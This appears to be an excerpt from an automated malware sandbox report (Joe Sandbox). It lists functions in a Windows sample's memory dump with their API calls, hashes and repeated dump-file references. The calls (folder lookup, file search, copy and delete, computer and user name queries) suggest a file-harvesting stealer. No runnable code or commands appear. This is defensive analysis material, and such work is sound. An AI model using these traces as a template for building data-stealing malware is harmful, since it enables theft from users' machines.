Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: dfabb4609e06c8c962d6763e30d632b598ece2d69cf0ea602e740062029ae6e1
Instruction ID: fa4c7b04dc1bb1edeb240a941fc638acc8c20e4742db631e424c44125528f59d
Opcode Fuzzy Hash: dfabb4609e06c8c962d6763e30d632b598ece2d69cf0ea602e740062029ae6e1
Instruction Fuzzy Hash: 68716271911108ABDB04FBA1DD92DEE7339BF14314F40452EF506A7091EF386A99CBAA

Function 00414BB0 Relevance: 2.6, APIs: 2, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00418E0B

lstrcat.KERNEL32(?,00000000), ref: 00414BEA
lstrcat.KERNEL32(?,013FE0B0), ref: 00414C08

Part of subcall function 00414910: wsprintfA.USER32 ref: 0041492C
Part of subcall function 00414910: FindFirstFileA.KERNEL32(?,?), ref: 00414943

Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,00420FDC), ref: 00414971
Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,00420FE0), ref: 00414987
Part of subcall function 00414910: FindNextFileA.KERNEL32(000000FF,?), ref: 00414B7D
Part of subcall function 00414910: FindClose.KERNEL32(000000FF), ref: 00414B92

Part of subcall function 00414910: wsprintfA.USER32 ref: 004149B0
Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,004208D2), ref: 004149C5
Part of subcall function 00414910: wsprintfA.USER32 ref: 004149E2
Part of subcall function 00414910: PathMatchSpecA.SHLWAPI(?,?), ref: 00414A1E
Part of subcall function 00414910: lstrcat.KERNEL32(?,013FF9C8), ref: 00414A4A
Part of subcall function 00414910: lstrcat.KERNEL32(?,00420FF8), ref: 00414A5C
Part of subcall function 00414910: lstrcat.KERNEL32(?,?), ref: 00414A70
Part of subcall function 00414910: lstrcat.KERNEL32(?,00420FFC), ref: 00414A82
Part of subcall function 00414910: lstrcat.KERNEL32(?,?), ref: 00414A96
Part of subcall function 00414910: CopyFileA.KERNEL32(?,?,00000001), ref: 00414AAC
Part of subcall function 00414910: DeleteFileA.KERNEL32(?), ref: 00414B31

Part of subcall function 00414910: wsprintfA.USER32 ref: 00414A07

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID:
API String ID: 2104210347-0
Opcode ID: 9c34153ebff2a99c30089ed7b20cb5a2d710224119bede19d4fdfe080de59b6f
Instruction ID: 5a37e5a53a2562059c730f6b0b3ae842953eee94398a2728108a858f2c1bafc2
Opcode Fuzzy Hash: 9c34153ebff2a99c30089ed7b20cb5a2d710224119bede19d4fdfe080de59b6f
Instruction Fuzzy Hash: 9341C5BA6001047BD754FBB0EC42EEE337DA785700F40851DB54A96186EE795BC88BA6

Function 00406660 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00003000,00000040), ref: 00406706
VirtualAlloc.KERNEL32(00000000,?,00003000,00000040), ref: 00406753

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: c88b1e9b2e88f96002d04ff86a4b027c1f96a501876601beaf0c86e361432a0f
Instruction ID: cfb135ee3c51d7510548447878d0c09a9e1e3ef004be55e97ea32f204b2e5fca
Opcode Fuzzy Hash: c88b1e9b2e88f96002d04ff86a4b027c1f96a501876601beaf0c86e361432a0f
Instruction Fuzzy Hash: B741EE74A00209EFCB44CF58C494BADBBB1FF44314F1486A9E95AAB385C735EA91CF84

Function 00415050 Relevance: 2.5, APIs: 2, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00418E0B

lstrcat.KERNEL32(?,00000000), ref: 0041508A
lstrcat.KERNEL32(?,013FF3D0), ref: 004150A8

Part of subcall function 00414910: wsprintfA.USER32 ref: 0041492C
Part of subcall function 00414910: FindFirstFileA.KERNEL32(?,?), ref: 00414943

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID:
API String ID: 2699682494-0
Opcode ID: c28df4dfe040cbdbd11c6d9b4143388409332a711cf5cde8ebc04e52248204cb
Instruction ID: 27646669aa04729862e240b26620d37997e147c17b59a732ce93ef494e7ce50b
Opcode Fuzzy Hash: c28df4dfe040cbdbd11c6d9b4143388409332a711cf5cde8ebc04e52248204cb
Instruction Fuzzy Hash: B801D6BAA4020877C714FBB0DC42EEE333CAB55304F00415DB68A570D1EE789AC88BA6

Function 004010A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 004010B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 004010F7

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 8ce35272a596f1cdf5aa55b7e6bb44489e409ba54c945097ad2cb9ba566d6231
Instruction ID: e05e9ea69c75ff17789b13d2c0695db9e8f3777892ad192db41722de5b6306ee
Opcode Fuzzy Hash: 8ce35272a596f1cdf5aa55b7e6bb44489e409ba54c945097ad2cb9ba566d6231
Instruction Fuzzy Hash: F2F052B1681208BBE7109BA4AC49FABB3E8E305B14F301408F500E3380C5319E00CAA4

Function 00418D90 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,00401B54,?,?,0042564C,?,?,00420E1F), ref: 00418D9F

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 595f34a43379c16e24b9f2c1518c8cd35f52b0c7967e0514dab8d0552315d8ec
Instruction ID: c33170cd47b5ddaf33f3bd529e3e9bd0b8526aec605854159e3974d419e7fdd8
Opcode Fuzzy Hash: 595f34a43379c16e24b9f2c1518c8cd35f52b0c7967e0514dab8d0552315d8ec
Instruction Fuzzy Hash: C0F01574C00208EBCB00EFA4E5496DDBB74EB11324F10819EE826673C0DB796A96DB89

Function 00418DE0 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00418E0B

Part of subcall function 0041A740: lstrcpy.KERNEL32(00420E17,00000000), ref: 0041A788

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: 5b465c8807639b2bb39dc137b28d8b780a81606de9bc7e98eb0cf81ec8124768
Instruction ID: e82dd92a107a558878b8aedbded484b2d7625ea591a662ceffa58b28bb8b597d
Opcode Fuzzy Hash: 5b465c8807639b2bb39dc137b28d8b780a81606de9bc7e98eb0cf81ec8124768
Instruction Fuzzy Hash: EEE01A75A4034C7BDB91EB90CC96FEE737CDB44B11F004299BA0C5A1C0DE74AB858B91

Function 00401190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 004178E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417910
Part of subcall function 004178E0: RtlAllocateHeap.NTDLL(00000000), ref: 00417917
Part of subcall function 004178E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0041792F

Part of subcall function 00417850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417880
Part of subcall function 00417850: RtlAllocateHeap.NTDLL(00000000), ref: 00417887
Part of subcall function 00417850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041789F

ExitProcess.KERNEL32 ref: 004011C6

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: aa4888be3a4750dc3e8542411c62f0187eb34aedb4e2e69f1eafe5013a8257c2
Instruction ID: 3272f285758621328f1ae990cc0b7bdad84480bea6fe4891c0ce75a2ed71569b
Opcode Fuzzy Hash: aa4888be3a4750dc3e8542411c62f0187eb34aedb4e2e69f1eafe5013a8257c2
Instruction Fuzzy Hash: 72E0C2B999030123DB0433F2AD0AB6B329D5B0538DF04042EFA08D2252FE2CE84085AE

Non-executed Functions

Function 004138B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 004138CC
FindFirstFileA.KERNEL32(?,?), ref: 004138E3
lstrcat.KERNEL32(?,?), ref: 00413935
StrCmpCA.SHLWAPI(?,00420F70), ref: 00413947
StrCmpCA.SHLWAPI(?,00420F74), ref: 0041395D
FindNextFileA.KERNEL32(000000FF,?), ref: 00413C67
FindClose.KERNEL32(000000FF), ref: 00413C7C

Strings

%s%s, xrefs: 00413AAD
%s\%s, xrefs: 00413A6F
%s\%s\%s, xrefs: 00413A4A
%s\*, xrefs: 004138C0
%s\%s, xrefs: 0041397A

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
